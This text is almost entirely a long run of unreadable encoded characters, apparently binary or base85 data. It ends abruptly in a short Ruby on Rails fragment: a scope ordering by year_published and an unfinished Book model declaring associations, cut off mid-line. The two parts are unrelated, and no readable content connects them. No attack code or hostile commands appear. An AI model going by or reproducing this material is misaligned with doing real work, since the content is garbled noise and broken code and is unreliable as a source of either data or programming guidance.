z`K0kJcvq|9ij3IQ<*g;VY_P8S|4U3F!mfj1LSDzc7iLn!i?lh-iEa~IQiTb-yN|+^ zzOlzNi0{-TMa_@vB+aEy;;EL!pf*M6gnwzhd zft(UJeQYEoY0Y1Mhq1s#hL^Up%p^y4kvzS}b)4h=HM+la_5V{Jrc8gC6(5VJJ3pT8 zySxt2JqCmkGoIO2eGN?$zMPd=^J-knuN^Wqm26w-q_g-5gqOqiZ8sW-ZQMFeGS`za zMF#JMx6Y{k0rJVV_Yl!Krbcl4DfUj&aGM~zBYx%5|LxUqzQ$q?X?~>jw)w367bCx? z`s)0ZwtQ5*AhQ+&_zt^J6#0Vw#FR6FHuSUK5vA1WG2G$UAw+fHTiWU0*Wfo0A8L@~Sp;!*`JCnx{=^IGLp3w% zSe;mA5P{MqlUl*v$E_Ky#JT+JXZYQbYb0We4_*N(5;EO|{Tw%SUfD`UUknxBmAGkc zgi$)`AxeY4%J-sy%(fL+c_yK)ab`AzE?j6+-qr1wn7c9ayd9-C zR0rnB14Dzz?G&pi85db;ci}=2q)lo~1XiO+rvs@Pr8>5eLeuEyRSo_MjS|;8BTUl~ z?^f{hpw4i4CBrHqGhQ6j+im%a!UzHUMn{dS$C$Glrgy$#wVmGvcakb|_eG}UljNPD4Y%dEFB$n_%Z(w;%p`pvmQzREH zNK#~1!UYsN5P?Otwf)V7KiOtl074_mF5D()bBISID&08TNeG-rQQDzI$l2;1k}e?1 ziR1fvWGj{RYnE zDC^1CHDX-)kEvufeSEZu+`p0G!a9_Qr2laU4!@q;Db33YGg=6@Q{h&fHAJ(P4k*Qd z9bsJ2|J**AW}J-V5a;GeZ_?+vy%az4{OF;?TDU7PQ1_q-y&$3;UiMj($&@_lz*FK} zmjh?SsSzu3@ef?e8?QSa-;APDEBsN}-DMOBFaSYt^u;?7j$3^Oa9Y2$Z|SXl*Lohf zOKgrUCOvSvG3%m_0o9H^-yu^8necCn#Q`nic{p6``kc;hng#;qzX6GiXOUM;!8`)$ z^rKsD-F|o8)>i*QE_Oz}6>Q_W2jn<&#T4(vN6Ux=e))N|_8eDbuBJKvT)LHX`2b(= z1h)M@+fOaYg10Cg1uqlf2l#k%jB<`QH*OUdzb2$jBcH@MJ zw7k|*Vi-)lMdP>baue(~!1UAVpoKtB5wNS`it7b$^~v1k)%hlp6<8RS_?Yard(krJ z^GrqXRxP>&HpoM-Ls*YaQZs3OgC>X1Ii{xZXqx9`QO$5)vz@@El)2?{}V99{?ey)ly! z0o!Kg)}K$MyY!~ls}Nr=ML~%Y&>m(TuYiUfcXLGeNtthU-ZRIo(~aTGxAN?D6+OTc zHI;Xe<3)s=_qC&=bLhFpjZ$esBEGyU?|7ay&-v!Xe8$UtkD^KTkEepK`AeA!ORD$R zVgAo_{)?e(jCFI&wjK74K3p;5HI`DFA4Ht_MRmVcp3=Dl%wHn`BM}((T0+fM7S0AX zNbKs}x@8Og;V{E7NAnQaTU%=l)L2W`oJ-I0n%e~_^Pe!&{dLisU7s9&DM`8Hw?2wg z;#Qd|KS+%+oOe9lZKM;dAvg_h5tBR+DuLCE6vUwtUZDeNmLIpU2Xo3dUFc_i?6Q9$ zKCNUTx^^d<<5X(eFi3n+k%Kt%3 zKu2KMJ?*3O;m5EZL&1oSJ1qYQ7G|m1b328!-@|XXC^`iKGDJX<{3F3u;rKXwaI<+cRcIOl_d#dR zK2@@8;|B6$DHe{c}=-H`{Y6`uOEnmy%*M zB1eReQm}?u3JV!{%mjMLwJ1HgrKmUNU_;RKXKk%OB4 z(L^*XoPfL#+}G4J6v?@43qj~Qp7id;str*zeAxxS=6dXg0z#ln(dG9B^l1}AZA485 zJuEW@F9RH7?%w_V?R<)VAGfD6KO}~?ZNf{E;Sr%{`OyY-?T7C^Ew*bKPcyMgCY~3- zlO?4ZGTyxL>#lUnFn}teEKA{bgdV2%&{?e`KHyN^p^|bC(0M|$p8m*i9HVqlb9Dma z!}*}xN~mBB-*4X@NO}R)&JX8d?E-~LRBObA{m2oFmtrv*O;*X>yRUG!VdqD& zCu-|0b3PXR! zj3yd>M(NE!dA3fNNlyn^%XJyW^d@D$y>InRP<@4%`HqHG5Si4r{-B5vaXm}uuf#?p zi}x?%(p4_78h-s}g}RezWv7m(Xa2G$7ApT_Kfvn${I+_KZupol|12dFlU!fW)t87c zGp@#~$nl9+f#*_jA6NhkvKghk#+oJYEM&kUKI}JtPqiQQqP;vl>r4*g===`r^RHNK z7+t#W#&)zFXqM+0#fL1?H5|D(>UMNCjVqqg6Gy*4o|}fP8~Dap-m#F?M@>qZ= zw1}?vKa|{Tid~4cMt}6y$qkcnR)(m64E4T7__ha*o+%osGCjTkj8WB#ZoYDV%J&C9 zd6Q0z9%(L2>bW~z@G{jsf10Y|I#%XsZL}nP18?io&A%rsV~rI%u8d( zhfbgYsSw78ZF0&QDF5_n{i|v}jSBdG(v2}3pw+*;ujH;Tq#JG*$~FL{#@afsV_Uc| z?FzP&vr_ut14ZU!eT9CrjhC`5`w#b6^6cBNRWh1k(2~O>)qLsEEnLW)Bl#4?6C=r- z@jE(YcJADKfUogFM%F-tN?SI&Q!5iU=j%81eRo}l z?1OGhESL-k!M=6q2N}&kUxz}9*wnZnhw6~NK6Yf5hi8IzaF@D{%Y5Dn|ZM-w$Z5M}UZ~k(w9xIxUjlC4=n4#SHU?`w1cS%Kr z;z&Q@>fUXNL?RPOzq9;!ONbeeF;tExIv?pLVw3d+9lASQ2n@m=_%R;0Pd^)@1khsx7Qi@B(XW_guFPjlcNh-8{z`s6cHG-) zMP`cmjF)1k%gzEt#CwXi7HAGP$L9R|r|;ShYV3r?YK6)PETQdo2FeVSz>co^`Z-bK z5sa}#ZJ9T%bMtW6Eq_tO&K)hE*R)pkoLPNzLCC_$=kt_L!q8kygYvFa?XgkEOXUl$ zW-1f2lhNwgOAjgsTNHY&vD2TGb;4$oS1d1Q|3)ONW~6_J>Sb25NIS_sUV1py`9!F} zJwThh7WAH1_@A4J)>i0Vzw&RITGZK<8J=^u z*xS0}q%YHm`=E9s_D1jAk&Ux?miaCc->T#|N~ZVmBel7y9`8Rx9hc>2ER*7UWR@H{eZ6@qWkIqI=R@aX{%x!$*hxy;7A$5T zDS9u2+HHxl@;XxyiDSS*>e2hNsC81A^IdyDymP}$>y1A(U&<{vjU~UuHNQEiwDgZu zR4fdxFxk+5Ip*DId)6Btm|NB!NUR0FBfM$v1*w_c$@&L-rDtiGj$~D>({0e)J2pIA zE)t9J!S5)}NmJ$Z=L3I7%KWbsdkA<~bDDu564rzAS(r9m=rfePSZ3RjbIp5U(!11q zw$z*I%|1H=Ejlm-*hP7bCz|>vC6oD8DXGB|YggMbZ(m*_#W2l8o2&Bf8N8|!~% z%k)7Ff+V359LOQ`TGt^!IO1Se<}%5xa}>}WbOwGv!2Eh(ceGg@ZoJO}_mco9>!Tz_ zUcd$HI`2F*kn1sbL|?;ER@~ZLph70~+U8o?{2Mb7_{oA|)F800PFL3uBPJ&9 z13Ss{Z^H!ZRpogbn_}RM4iKz8iqur=T>000nG0lb$K*g$rUj5k_`dwzo^He-R9lr7)+w1&etWq!!ZvVc#j)2 zygEfs9P@}hMpDdPHR<@QtAxEM`HIq3=Fw#Lj~}E4rnZ4m+ijI9B(U!oxqSuVw{zVe ze1L3E#Mj~B8pVkJDIUU_8sJUW?vB(Rp9fVz^)F9;z(=x2>8%_)Ba`ji7iC@O5p&hf zJ$9AnaR*#!aHkHyB^1zxe7Xg;gUVBnI-ay*SEQ#?D3w zFti~8Ab0>WOj=BJZj2J9~Vz!#nxDE;X~ zvX#J??frIRHmAx`DtKR$CSd>FU=JxXREMAl*7lLuHP5YvTQWkNx%{k`k$xYIdtk9t z{O%yA*(SVDqA|sMtUE)=)+l$?BX}5~sE+WLhkcxXyP05(9p;|5{3Hu!*+I}DZJ8T= z?BbOZ98P9rElw_tcle1MO8&krW9RoQwSSI0SNvX)dkPNi4#SKdPd{N-oRj4?=Q6g?>K;b_xoi#Z#j%Kr9kS9<|tTJnj^ zhPUON!w6~>;AYvAtiLiRAK2IW(5D7d@D3loJL?7!2|NV1PVltI&ZTdH3pUVAcyw2L zMP>Te7miGziom>vo+M#s1b($${iprF14Vx_J^S-%tOgJa5C-wf*a;^KV!#|%1i24{ z4?YM2k}{kFA8=e)1Qmkv5A_Fz<{!109SRpBECteznQI*&G!~VRSRD$t6R^sFiLPM? zsT1O1U)#&T*|VZ_&>l;?eDj7AJN5C*i6mz@!4e!Es%>CN_-2XsvDBSy;670CmD*g! z`2Yj%i;_(%{3;IPzlw{a2|btDNLM+E9yK7v8-pC5ZBA!+iS9Nb{&I?Eh2;z1aP7xK2r{~+HW+ZqatNWJ_yK%R zOpx%4ObNgxAh&eCdLCnWRA6PV#XMK;)ihfY*Dr9Yea5&&o_TZ+9s_M|c#~ptD z@bL5BRXeIFpDd%(xK;qZi-KeSe#^iF_OJ$GO#QvRZvn-H>^SoY8!4+ik6&IJk-2TT zwH!b;wv_%?(?m~&DLWH4<}JsntwPAe8`X{q*`aL|l5yfyj(QlkDx?nTIG?DBfom>% z3x)T}bmQdS+=dJi(uRA}7kC;BIyqCyA)%K3!F<%OWUK4ui(?}{QiV)2w@Q|VWU?q8 zQ_Hl<8EzaBpj+d{j6gcCaF+ZQmR!K)T<-QcNbxi_5peiih#Jp1W5h(bpM}+ zXEe@3>_EAlzD2<+d*#+uQ!v)%9H)FB2bbLJx&5}-9Y_B11&x`pF9(Z9vpU%vo-gkhl(@4}cxsK*3D71*pYJ(2v=AyQ7N9d1{iQK@iArIaeQVPnFX zGQ6K%ufu6q%flU&A=0kpJ8L48E&;U1y}nosyH^bz+gvU1YkYcpG84|@A>FJ^kr>1a z>qx~EF3p;OLi*?dMUjYT&X>ru##aqp8r;rOHWAeG0W+eOtg$xYNpaU-o1tnmdd>u?7voYcvg<3gcc00m$qvLXRP=Egg>YjsO z!0B}3PGODk*rD^xkMAYROg98(Cg+_T%Mv>LuB+bNy$SZ7|y=NC{8^h+^w-%oYHpzGMR?1_Z*igxHrc;0NJC z>S&FMzT2w_X$Me#SNFu>C;rf}i&jAD7)tq}!zuRalJZnGWl$}`ZY0GBm6M=jeI>+z zWM1*x#-W6ijGPwR;S*yMs{=Q&&(JEW%ZI{dO1d4@mt0XT>UP}xO}u_@Vyy=LhSyem zV{F5qN|I*Df#Ch|cg!7XkYnOpKK{#eN=YI*(V)p^us1D=3t2<*kw#m!02F zw*#<7+N2TaiRCv|tRt}G4m+$RXwpD&63`sf6%i0(kxlh*fNc>lW6)*5-2qo3&tNw= z=;pbz(!BTv-r8n%uEFT;!@fkCb-TSBMPYy)9<-|(*J^$y0mKi_{Imp$4biT;l92Wu zC=P(89JnX9F-ipnfN@}gVf9BAYLp0=T~WJ(s~vj*j)W`I0o))o8@?UiT^{+P^u@!_f`^IIaQAXZS1{v=TEa^v@f$!v)+2=I3U>iR&R^`hfykZeTO> zaP+|;V@ZsMNg_yeFxxoyA9m5_qAW(o9RK*SdeElQP<~DDttPJBT$GY_JSn0f3kF(( zo8LbuJzOXbv_wyJ?3y|37HS&p-qTOL+3VL=l1ytD@1rSK-2mFq5nIvrP7wvnS3_@D zrlq6iD=2aWR|G1g2DqAGG2D?P1uk$}CrL&R?=Gxpk>Sv(QG9zHOpn~vE{$12pynWX zKaO)-9b1>`bzVA5uXXQJ)`Zjk{O;r{hF55t}-Sj*{gDws6H4DU4O94t#Uw`H#lC! ze6sISZn1KFY3w0Uq0@cweXE-;-@CGQEniAW^t&YcfCrD68J4i&3Jz(*146Vjo07Q= znr$x^4P4q90#jQ~uqfs_`^IwhH>^6um*$yo@Di5jKb?a#>v!TVBzJwcqkn1KA+4Z@ z;j9xc{XTrxdRE;Lyd86vW7>HG-CW!w7xCw$@bHvQx+aSTcd+}5MjfiK z`PHX6@5o`7)U_rm_1*9}51tcyjE$IpFZ zp&pK#CtRoGr_}DB&^NV6nN^&>Se`BBwmGNyfa`4V3Qqa;6Edx(iOiW-9mOEAhBjw> zCZcMsLEpF={v2#P1LWJ2AVC*ox_Wv(^o_qaPi5IEo&~Z4_6f~RYgXx6!Xpv!C)Y|l z*(ya~QtDUknyT~FSKgK?A;`*6v*CNm~o(jG26y%Kl{glDCKVoX-8T~-GQ&s z3KUPc2OwI9P9w;;3HQrN%G%nxw|2d2c8-4Hz<5C~%R7jd87Pc;l@6>C*cYNDv;?zw zsLybL_DtRerUs=4aR4I{c#If85WVCI)od#Z!Vjb_sJ)`?zb@r6-H*gW*Ad%B_%=Y2 z-hV0AaQ-A%L=Yc12GnO*%)oA&?B`gyZr4?G0r)3;DUdOfCz=~&>n9dtq=p(3I=)3r z?5J2hqnm9?crSYmb`#W!IA73j;y0c{x;zy3mg_RGM6(ou5JS`0C+j-|$N+99{#ru+ zVj=^=^Hkt0^K;O6<3nRpd56{rCYUnkycMJ!g_~^{NUixum|nCyFkd~w(dFL z&SXT<@};<_=v$QKoI_YKU;R0mKvPYu?LetIH}MZ!a0m=C{Eu%br>ljsmm1^ifsjJG zu^O5dp^&Ma=j(_X2Wux8J|Gqz;KX(L7C=U!`aq)=@b)6opW}l_#yTWOu)<$uVUN-c z`Z{R5vm_>q{5d+5L=N0Tpor#?BS-dFoQCcf${2(-(LX#hyHDC4Gupo{D>h|0Bs}{7 zPf6eZO?{y}+K#0xYh?)UP(z}B+JD-CU&+<1OzGW zj$*(f43uGk2QD^}=R{1iD3UdXCTn7_P*|6}@- zIS4Bc3j;o2ysFjFTQHFsQO@x63p4&3Tm4k@GJquF`itX${0}V{`n*m59uweIO3h@) z{fJ)U_Aciwa9+Oi=IA)48e{*QEa>Tn>PGxQA`o7P&WbBUQtF!$S*93_-}JiAX~4L2 zl4>>@C)PQGf;{&XU#MWiwaXu0jjjOuFLC0BnP+C(JQn6^qS}eko+?bRh?F6c$W=YQ1YfN0|FquTY3Y-L7cf=}V>Ha)zLNVBm9;LBZ9mBTjXYQ2g3VirPm z^$oP8u%GSFNrmbcq|>4iHQXeiySf`c3*LfE$dN)tNE^2vhC{1lw51ul%=TqqdIAj` ziWaKZ$WiXIhyj{<;!2B)8lEeYyMFHAB&LbfjSsY*@FBG%(8(AzhUmZr{O2J!nnp#G zM)YbAG{dYip zyjkeZ!cXDOU3FpSA^?Fvgau_I^!BNk9R!#}oZtmpCDo)Ap}10ozy~535bT%@CP@j} z;SaHnW~CvA<`ILDYPI&pWc`1j=ENlp6B$fQ0gJ-E1DJs2`H3mFCK8(g%{NE_Oh&8W z)o|m)9O5CB)&6?S7~*A>7iKR~Z%MQ{rIaWF^kOOQDtozmk;+E!k~W|696LNVylvu3 z4KlR_;^`U})u^nyESe9&?gEf%Rv1^Tseb6d$-;h*c4>5g^M2YV0e>L*)89CHL9Ze*XPGl1N=5zK0lNB__7+ z;_6SoMy}@R>D&Lnd){?+k+3?qDtJHPRQ#u1)nYgD4;bYlS_Ugiy7B!;qm14R48-j? z-Yt6fS*hj=-m0FBk{=>M-}RQ#cq}bKMW)g%`3gr2SLO3(&-OZyNEdP%o9Bv~lufc} zjc%R!-VYfZ7a1C~$lk6jyw8FfltYsZOy>rNUEG4dj06$f{YQ0dDAvC)t~Z4_UNOOw z!vPByA>J-58BrPU?bd(Zx;p+S*IE{Jm8cySrC-|4`*PWd`56@Kd;DvMVNj-Lp5snl z-Dat9+5@#Ve!B(Q_^(6>TJ-=7gHib7JFzR65+>vH*s0-FcG=M8VQMrxUGr$Qib~zF z4SvzCniHzDMO zqEN;a17GJF(AorFl-X9(*j2%s5^F08t9Sb;zl_)^!744WLVrxIqFQF$o-xF)_c;8G znIS7cg+lqDA%gq1o!aEj$r)&`Fw*;kuCF$lD4~ERV#kLRdayP`jSPBgzDf4SbaN@T zX2yPw_|(Y$!s=ni+2Ba>A{g7nqkDh-;&X(?#P zae5rC8+(1~9QK>6SePnlTCbWiKnBdlQ;n1JGhpb5d7z*f6KwX-1d=gD85vSpo(#-l+k}eM-Sf&>8=K&!=+rsj%LHQ1C?1+D^;FIoaJ=t- z_|~j!Gs5sDoeSIA&R>XVgEtxtDF}VsKlj6B3BbA>A7jl9ld<$RC@h;a3x)Zcpr!`) za*VHUF4$s3Zq4!2@c{eeCM+tG6B9Y+xRCTXIfLKoxfX4LDw6fJox@}DUJw@z8(&a4 zygYCf<~(QnHoIqv&z72PTt8W4(&3WETGfG$}rgUfvUng&)kRaP5`MUj6(Nj&_Z z*AdF6Vs}cd>hwhbB?0xDwAs7i?o;eVsRe0R5J+WD+@YciGJ!eeL$@X+?IeL{DCHD* z`rF*Vt66DXkt*NEn{S9nN1;xs- z%ci(VYikkfA$AQda^I$U!5s40x34G;Nr3ge!-@0h-?ZRW)G(wv$K~J5lMwISl`4{> z$%M9LrTzgKC(KoK%kSFEkSBtz*145sK3(@FI=d0_1 z7vVDtty<=%x^>kumMtVKGYk?Kw8S0qQ-RlJV{^diTVYQeE{-dtK9Nq>v7KY)+J3JK zK%K6rnjNx9)&U|it>{>)!|1ya5==q3L$T#mG?mSg&93%S&Svy~-_oJv_=oSsC{h^^E#+ ztPL01T$1^2HeWM#_U1vqvT;98vCxDO2RoS z8|Y~HKypnP zZGzP`*dCJgN7wfUemc9sL7z+C^YqK^1R8c!%Ew$j6h#P0qP=G|0O*_u?6SPzSB|N# z6}h1aP00iwVn@B-PT{MN+3NNWDk)ULKve;+V%cG$_*A_3D5y9j{oHJk@S=AB z@I3m@47;`!5E7Co0~m(dW^T>EG(0h<+gGes6X}MP2;S{jd>{q_ZG{R0^abX_pXkt0 zsH7NGs~en=O90N0MPY3xa9T3#P8nu9Zle4iN7BZ_OV$3;6Y9vT+8xA-eTt7V1BMR# zo|J-xUP`c=(Ru@<^!H%yP(bIjLE$tPnk3LhckJ_tuzcJtEG%qe$qclP0U2YDU%x*5 zb?bUy9p3~NX21u~Q(iMoZ2?{oI|B0mfD;w|dyQ%*$v%tMdjd3ln~*j;;;=B$9N?99 zb9}s5WS2uJz8yMM2b(hD3RgTqD26gwwG z4+52=tk9hYv7$7KuR;k1fx`dQ+?9q?xwh>m+8VZ!Aybqj5gAfxM71alNRkpu$dC+6 z(lXOvitMOO5oIWL?Ig*NrNLAwT9q*+79mrVIeh26?Drdfe1E><`|<9hWA9@(te*8e z_jBLZbzbK{as=ko!m6kV!-Dhp433{{?bN)>ah-68>G+XD%-qNh*l6fK5VLe>bEGDD zjmrXG+HONuFZ>pXp$z&I%c*+3E~UH+!)YCfKE0jU36Qf;;@|f$K{dh?0Irpp#H0rX zbI>n`m;1fBJg>~kMUhy8QaU)C8;6F{SS*WQD#N#*S%sPh>!s)`ERtq3Yr#LqDY$v4 z&ISkz08Lhz3S4ghA%gcyewL(3;QS6|^+iNPXwd<{^Va-MVZtk{GF&zF3rsT63u(3L zek~QF??&qdSIO!fGF&elUWtZRS_uddP5;5RuC;TLdCKogv8g6EJ845y2A=8 z0a+0B7N1qUB=+yv5#n&i_p7-}w(qS?W5351()8`t#WUbTp(`<9e9z?Zv-SJvrhgy) z?Qc^;O~OYZ7F#!Kk6ERMg6gu*+4fQ5O~Kb3*9k^#9tcggY?|mj?X!x$m>)+y>J*-i zE$h;&zis{Wh_<-4t$*^<>89TT1zA^~gQ_|g`Z}h8rI0}ewXbsPC~O-*KLd>xd_e+EV5-#-c2?tK)#=RU(x zIvO7`B89G>QiC}#W<)X8II9P5}$) zE`nk!kdA;(1-vgIrOQGEhxb@*F=n@W> zu|jTQ8cWFN=+DsBW3oxSC>W6kAQQv?0MrLX91>{h+`H(RP!I}0?nj1b5U#hJ0u~N> zhA29(=YZo$01;aB8C~g^7C@`k8)M}+h;c3^Uec&Bh=>FY z9Kl!sX7tyXyN142h;|5*@k96q^r(1%LG(Wh_F}Iw<{f6+O4Y*s08SS*kjn3@|-_g^=M4&O9+2 z(Y=(-b-tKThh*_x4M&rzYF+30k0xqmwXS(T;T#g@qd9oGDS7gRV*ZYIR^P;Y76sWt zSK$dreBX`@*O`SyC^qKghU5y~$Wn`|DhA9kw#o2kQB>Fo%|DD3KG;k1?a!?1X>(7B zIxuQF%ddLrB~C#mr@sBia+Bafi-&d46%H|{#9oZYxcUiA6uB1HX^3$A3R@Jnf>*QV z?FrN5Yztmz%>;=X>^y&`&2NlKACm%hd$b(D0u*u6vvRV}Fvde_3)wWGzPO#OlJ}p% z{ddWgU02+s$3EJ3JN3Wn>AF^3^i54XOkN{A*Wv_=@3;>rS91E$7%+dl(PSf(F1Dh& zJx({{JgFTN6qDb#4-aa5IJPGXHyENcFy-{poCl(fvBh985A`8{H}V*Ydo{cyR74$UXxCo}19Gy-=Xy|< z04|+yS#~>f$*PI8#@OZV{S#IVTG#BOf#pFPQMz{J%Q%bBUX9Oofkn=kJ_}1~8b|s{ ztGcz9eYGKm!gw6ERc|UQMej)WKAG|-BvG6^J729@?BGFgi(Om8luPw%2GVGeHIron ziN{}>=`D1AsJ$$?U#`CVJySi=?$MZ}>JM)Aqh?KY%F-4gc$kppSmYU()dUH*?zCAo zM81Mt5)Zge#xuE$pnrqkmR?rCgC1GxzqhH2Pmg;dJw33nurM#v{BP5KpMCoTk$SVA zcy~i5XYz6N5p-TKI%;A3Rh{G@6DCzbXvhY)7a5NZFnLJ#+H+F-?Ak_eT@J&*W*Wa* z36EnmY2~CF20H+RqQL^W2YqNtkAex~S7eDsmH22uG>Eut5~K{7#H<5R9h2fpBtIKH zDu8@Gi-6>Q1#$kB7klb#>XAwd8geuZ(CnKb2B`$CtNiCbqU1b zE_@?~6+gWv%ntJERMoeWURC2G(PN-0L`jH$V~qT~4@Q)nWbM|1C+JFTEEXoGVx0dR zl*CdSF!q3Br5^e8!F$C< z_N4#>>jFGj+yE`mkrEgv!k|q)-AGanrccW5AN;KMogx*_TXKFQ?mir?B`iNDr#lKE z4zg&f38xtl;2rS*eAapu99-yb$E8(UokP5RX;F^ofTcq4^ig0_fe@Xn{I+n@Mct@* z191y1a+x+)3h7>atG(~aNNNaT1&4E)0j?k4zC{cAuO?JKx}*!kdmfn<%p6ZbTd?^c zX8WJ*G3o~qyKsm9-sn^`r&uz_FsbSH{rLnfU6ufF#BZ^obz`rh+J+<|%kb-=;*n)q z71RRE*juvL4kF{RUB|d%{;)@+|5FeN2d9US)g>x4I}G=@sU`cz~g>q+BZr#tV|AeOcv(a><+jaZ_|+gPfUgL!b#5S=!Hm<2iKkDSiGi%vchtu>iIwq1K;m(_$S zu+-n__;K$@o6VIgZuM(fG62Om@Dn{Bsv98g2Qw`ZlgW$h^dt?tECP;!XGCqWzmlRl zK(xa+pfTHn2{`ZLPb!tBeJDnz#oCzPpycE_bRXJR1S>{tg$g2)#^VHNMdUnc(4iqu z#4+*1OrdV#5hP%cgokPU@Me*T96`B_<@2?H)8Z_{bOQ9Or47cWrt*~!@t4pa=0H4- zVIu4!bF7o#{x6Gy0Y^JJBos?HQyD)y*p`Esh|j4yER@DG+LwRhhK{o9pC~sm4(G|s z{!jt>Gh5J2XwQuPloLjBni5ku+i8LKEC~0Zw@b)$d<($Kxl(v=| zy_jJOmjKyNEcjv-^Z7f4vyhBL1r|3O&CGE(KL+1Zqe6LYIAxR21`7Ftw+?>UP2;V2 z`EskNscEC~m9uj~apTTHq(SfmGGD-(@|MjG0+~B%C+qg!cs`0Gdz8K&)0wf1?a<5* z+P{L+i4#PA3A~BU-`d7>cRK|f;HP&J#&?=`C;l>73G*Y%;jQGL!R+l_rHVbA@j9*! z#zcN)b+)P=VrQQkc(*Fw#oas-AX)*6TYeqGKUN@#L|QtTe^i50&rA*iyPJevZrWrn zr42IM@tng9*);8eXuW^n4WKIEk-|>NjMWZfHl2K$&y9~F3nE1cyq&VA$ny?RUcimS zDiPQSI$(S?ShMPWC&ME2B-VHiI2Z0GOL;jO+SqUcHSFDWpgZ@*42Vqja2((oFdr$q zwKqPxMhiv>`q4&5jwrtiUc?`qs(iCM%J=$f(%=A374&6+W8U(J7g;Mo=;3Q6U%fm4 zv;_kw5+scYg>F9BJV=@*bKB{8DH$w&c^V|>EWl<0@6I74Fwud) z_hbE+y&ip!`?M&+sQ{DeJLYm*Ap^&bL-+$&@x~wPFbVyqFPWx02p`heu?qkpmsu5- z*LlCHy%?BM7V>~V?toW?=!KEzxiHhkfrfTn6#E%@RNyJ4E97Emiqn`J+$giL+Uidj z9JUrs?l-99k?6Cl2PF(HA?xB-^{#fiZh+*y-(Uq`&<)N3=GAh|5_xFk;B~hQ{TnbD zOmZN7CaxK8g`Y}9>S5g|x~$ha0-inLXJP0FqhPnOpPiN~n4x7QW=-XRq^Ifjvzf+7 z`SUDfKk}FEyt3(opUhV+x0fI2^c_u3stacSELcIOf1H1AIK)`8Z}`C2BZ&)Dur33h z{5J68;OTB4ljmOT3(a(_sjz(X=8)UI2qH^pw~v7q_pu#ax7G&bR$=8g6tMPVZLo)^>mNf=v?N zb!227G|tm}-0CnS!KPt^DtGZ_Rzm5)3=<-9hWjF5{uhaJzOTOxmwE^t#!`(l^qlLz zn5h^_?b-DsD8epDa4+rU=EX4pN`G$5D&{1V331gQpyU4^Mpn6kGP1jp+mizP@7~d& zU0!hUAT2|26>$Et0wL}|jJ8HiIMLfiOF9p9F z0v;VWbPRgKpbxU(;18A1^dOODnM?kF|M*6gu`cucMw1lDuDJ_{{O2h&D(AuBBvwV< zEUlZvFX#pw=O*}-V$lC3Xx8GLho#XXz)6);vcn9rMP^Cgh z0Hvpt2lqNsGmFONCixD8F%w|*yJTvl+$h6)TO?TV3TL`#Q^Br{c|n}=D5XSmpfWg3 zf^pp(ICCP8D}m|!GI}{N#)QPz6F}$Lk3GHBx#;!4YwhUm)dR_>w`knuSH}+R=kTU4 zD^L=i4uWz>=<4k)gG@)wsYcls8b?1qTLAf;xe?GN?e@*M*p9n80?DjM8@a`R<4p@y zF=od!->5FCH|_Ck?c!AZ81EdLcd7cUZ*>PBr{rGJeq2{&GMUikj>1V~{NiW%Ay?wegnS)l z>!lqKgc5`VTM0Pbjd={@-7NwQ8TU^l`!Wv9&S6(U${zwQlHnXM8XFJ>>oFjcRoYWh zh-ajVCdZrzlWe9l@s@@w>Y0T~rdF>mD-ts+SWRG{z`g_g+SAt7_NkQ`MS(39LJB5A zjnVu0!+={8&}f_l%p~>n_~8HNhI}-Lixup=pi$5`Qpgm9K`m~#Xg1uFetg|q%Krj& zV-(WfEXPN>v#Z=X-z`^HVh}_S#`~av?69}L-BQs52;U8*uz+J(2lz|`i`#bdkMx+$ z%TA6DIg^J%vhmWL(Bc52RXq~~|JD{9flwLzjjNzN6=Dfc$^MAYorf6S?RU+xc&P8q zAxmVjGGkRNNXQcyjl{1Q4~N7ekVQ7zoyZCPN*Y9w*58L*gJetS>4}+;>%4qdI5RT2j(n2kE=@&|2#~V| z>k3N!@(2kHkqS20lPZ>lFdK>Glxt5Crk4NIc+-X2Oeh|~erv|MErG+t!rhg&M79Ut z9Cfr5n~~lWx7JA%uPiZ?!0Czar~X)Yeh35BZ~jlt(TjZZYYl%6?iN$EH2Kg8{>Cf{ zbSv`Uu@Z?Sh#RSOo7n`?78~+7n30jEaq!*|!L1cmc;gAr28jK7m}+1^J%b`^0Bgzr z7iS46GVrt{tE)CGm`&2vNa!djv7pE!ldG=X|o|Sag;$;J*+W8;BpDq0ZYro z*@tZrp=Sn>J|bk1hHOt-W<5Q<%wxgG3w;jmBu$OrBlYze>x2G)i88ESh-{R&s9^ec z$%sw{7J^0=Bv$UWp;!|A#1}2>3cvcJ0%ivK$8NW?wUr?lk^2sG!@w90Wu1tNy z{Xd@Mky}jCs7u89w5NXH*8KXa`Q+JPS1l6gm)RYltPt>RJ?9fvIBw0St_$DrOHiWn z<0ocmx_&O9|0<;u>^cd-X2^X^8lTMqy=V$ zEUj!jeeltaVk5#L+{hF3G_Z}^eek`G*A&1@6*=;Fz?%i$`PrN}JUcgH6sgvhOHPK{ER)e>9LEQO#uOISMs8a-~p%EU%fk1eqHO8=H?e+owbG{bB zfm*R4SWRS=5F%L>#4f*s$H&dIW%PUk=SF304I(^UD)3fI8p^onE5)gsa9pA|*o870d zPb2K%X6jNr^^s3~{xF{^@W@COfJ2p1sr#48%E}pM_fTN0w8UM72^7gchTJAEK$s)Q zg?5t}Kv8}tOB)8OAd536aS9O={gDB0vQ^RMgGF=J-~|c9!vzmZFyCNBkz{YY|9ErP zl2cFe(hvsetnlTD>}-R9*e>h>VO@zrgKspOTSq4rY zY|)(Yrm3PAW^o9{#oA24LnfP4nD7eHFWtnw0EKhTo5~Wqg9+HJu$7eN94BWQWNjrm zy9QPlBPb5noKl;!BWtWc>_`BD-Blo?-ur>%@R3Epw6HWDEfu4O4qyhDlBd5Ch(1Y_ z%=-BqMismBs_gOl;9?l&XD;RO-NRprTTD(c5|M#Bl6AzSsOCG-mO}=E!Ik@UbGTx{ zey(()4Ly*^_{`o$AA{bQp`jtISdB_N4m`d*kIrc84Nl6yR3tR)NKR1CpqC+rY7iz1 zCv~FCzKGXe(7^(`Y}J!_`8{}XN}x|)_KM{rJ>|IB6KEpho= zn34V-<2MKz_;41J1VQo|85mUlaprZ_Q;GFtg232`@u}aI_!BtpaS%O4l%Nl{7J?YE zA15VGpxL$!;yApm^{@KUSHtZl?hQtXBYuzWqhHvE8UJ^Dw&zRBReQzB~Dp#ED&_*rPaDAdx=t z!9_#ZNK*4AHY5}b4}X4k*#|WdrjyuNWE3@bM&NH9&sh^|iHkYGcQX&Ljpk ztQJpUXy2b4Qs@4~v!d0=Vxc+rjwj?jbAtFJ;;Ijs%ne=|%DVRFmj`4zy^; zQx9{UY-MGCO&J!fiuqi&ZIq&@*@dun;Z5{2r{`Wt?af>s { order(year_published: :desc) } +end +``` + +```ruby +class Book < ApplicationRecord + belongs_to :supplier + belongs_to :author + has_many :reviews + has_and_belongs_to_many 